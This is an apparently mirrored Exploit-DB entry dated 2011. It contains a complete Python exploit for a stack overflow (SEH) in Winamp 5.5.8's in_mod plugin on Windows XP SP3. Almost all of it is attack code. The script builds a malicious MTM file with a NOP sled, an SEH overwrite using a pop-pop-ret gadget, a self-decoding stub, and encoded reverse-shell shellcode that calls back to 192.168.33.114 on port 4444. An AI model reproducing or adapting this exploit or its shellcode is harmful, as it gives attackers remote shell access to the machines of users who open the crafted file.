Winamp 5.5.8 (in_mod plugin) – Local Stack Overflow (SEH)

• Exploit Database
• 104 阅读

• 作者： fdiskyou
  日期： 2011-01-08
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15941/
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  #!/usr/bin/python # finally got time to finish what I started... # Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (SEH) # WINDOWS XP SP3 EN Fully Patched # Bug found by http://www.exploit-db.com/exploits/15248/ # POC and Exploit by @fdiskyou # e-mail: rui at deniable.org # This POC was already been released here (without proper shellcode): http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/ # We later gave up on SEH and went straight for direct EIP overwrite, yesterday I couldn't sleep and decided to finish cooking this version. # Further References: # http://www.exploit-db.com/winamp-exploit-part-2/ # http://www.exploit-db.com/exploits/15287/ # Special thanks to Mighty-D, Ryujin and all the Exploit-DB Dev Team.   header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E" header += "\x04\x0C" * 16 nopsled = "\x90" * 58331   # windows/shell_reverse_tcp LHOST=192.168.33.114 LPORT=4444 (script kiddie unfriendly) # bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x0a\x0b\x0c\x0d\x0e\x0f shellcode = ("\x89\xe1\xda\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4d\x38\x4d\x59\x43\x30" "\x43\x30\x45\x50\x43\x50\x4d\x59\x4b\x55\x56\x51\x58\x52\x43" "\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b" "\x51\x42\x54\x54\x43\x42\x51\x38\x54\x4f\x58\x37\x51" "\x5a\x56\x46\x50\x31\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c" "\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54" "\x4d\x58\x47\x5a\x42\x5a\x50\x51\x42\x50\x57\x4c\x4b" "\x51\x42\x54\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c" "\x4b\x47\x30\x43\x48\x4d\x55\x4f\x30\x43\x44\x50\x4a" "\x4e\x30\x50\x50\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x47" "\x50\x43\x31\x4e\x33\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x50\x34" "\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x49\x50\x4e" "\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x47\x48\x4b\x50" "\x52\x55\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47" "\x54\x54\x35\x4b\x52\x51\x48\x56\x38\x56\x44\x43\x31" "\x49\x43\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x45" "\x4c\x45\x51\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x58\x50" "\x4d\x59\x50\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x56" "\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a" "\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x52\x48\x47\x43\x50" "\x32\x43\x30\x52\x48\x52\x57\x52\x53\x50\x32\x51\x4f" "\x51\x44\x52\x48\x50\x4c\x54\x37\x47\x56\x54\x47\x4b\x4f\x49" "\x45\x4e\x58\x4c\x50\x45\x51\x43\x30\x43\x30\x56\x49" "\x51\x44\x56\x30\x52\x48\x56\x49\x4d\x50\x52\x4b\x43\x30\x4b" "\x4f\x58\x55\x50\x50\x50\x50\x50\x50\x50\x50\x51\x50\x56\x30" "\x51\x50\x56\x30\x52\x48\x4b\x5a\x54\x4f\x4b\x50\x4b" "\x4f\x49\x45\x4b\x39\x58\x47\x43\x58\x4f\x30\x4f\x58\x47\x51" "\x54\x32\x45\x38\x45\x52\x43\x30\x54\x51\x51\x4c\x4c\x49\x5a" "\x46\x52\x4a\x52\x30\x51\x46\x45\x38\x4d\x49\x4e\x45" "\x43\x44\x45\x31\x4b\x4f\x58\x55\x45\x38\x43\x53\x52\x4d\x45" "\x34\x45\x50\x4b\x39\x5a\x43\x56\x37\x56\x37\x50\x57\x56\x51" "\x4c\x36\x52\x4a\x50\x59\x51\x46\x5a\x42\x4b\x4d\x45" "\x36\x4f\x37\x51\x54\x47\x54\x47\x4c\x45\x51\x43\x31\x4c\x4d" "\x51\x54\x56\x44\x52\x30\x49\x56\x43\x30\x51\x54\x51\x44\x56" "\x30\x50\x56\x50\x56\x47\x36\x50\x56\x50\x4e\x50\x56" "\x51\x46\x56\x33\x56\x36\x52\x48\x52\x59\x58\x4c\x47\x4f\x4c" "\x46\x4b\x4f\x58\x55\x4d\x59\x4b\x50\x50\x4e\x50\x56" "\x4b\x4f\x56\x50\x43\x58\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b" "\x4f\x58\x55\x4f\x4b\x4c\x30\x4f\x45\x4e\x42\x56\x36\x52\x48" "\x4e\x46\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x47\x4c\x43" "\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x43\x35" "\x4f\x4b\x51\x57\x45\x43\x43\x42\x52\x4f\x43\x5a\x45\x50\x51" "\x43\x4b\x4f\x58\x55\x45\x5a")   prepare_shellcode = "\x90" * 40 prepare_shellcode += "\x90\x33\xDB" # xor ebx,ebx prepare_shellcode += "\x54\x5B" # push esp - pop ebx prepare_shellcode += "\x81\xEB\x17\xCB\xFF\xFF" # sub ebx,-34E9 prepare_shellcode += "\x83\xc3\x3B" # add ebx,3B prepare_shellcode += "\x83\xEB\x22" # sub ebx,22 prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x90" * 6 prepare_shellcode += "\x80\x2B\xC2" # sub byte ptr ds:[ebx],0c2 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xBE" # sub byte ptr ds:[ebx],0be prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xC8" # sub byte ptr ds:[ebx],0c8 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x90" * 4 prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD9" # sub byte ptr ds:[ebx],0D9 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF prepare_shellcode += "\x90" * 4 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD6" # sub byte ptr ds:[ebx],0D6 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x90" * 4 prepare_shellcode += "\x80\x2B\xB6" # sub byte ptr ds:[ebx],0B6 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD3" # sub byte ptr ds:[ebx],0D3 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x90" * 6 prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD8" # sub byte ptr ds:[ebx],0D8 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7 prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD4" # sub byte ptr ds:[ebx],0d4 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xB4" # sub byte ptr ds:[ebx],0B4 prepare_shellcode += "\x90" * 6 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xD5" # sub byte ptr ds:[ebx],0D5 prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F prepare_shellcode += "\x83\xEB\x16" # sub ebx,16 prepare_shellcode += "\x80\x2B\xCC" # sub byte ptr ds:[ebx],0CC prepare_shellcode += "\x43" # inc ebx prepare_shellcode += "\x80\x2B\xC9" # sub byte ptr ds:[ebx],0C9 prepare_shellcode += "\x90"*305   nseh = "\xeb\x30\x90\x90" seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3 EN payload = header + nopsled + nseh + seh + prepare_shellcode + shellcode + "\x90" * 100   file = open("sploit.mtm", "w") file.write(payload) file.close()   print "sploit.mtm file generated successfuly"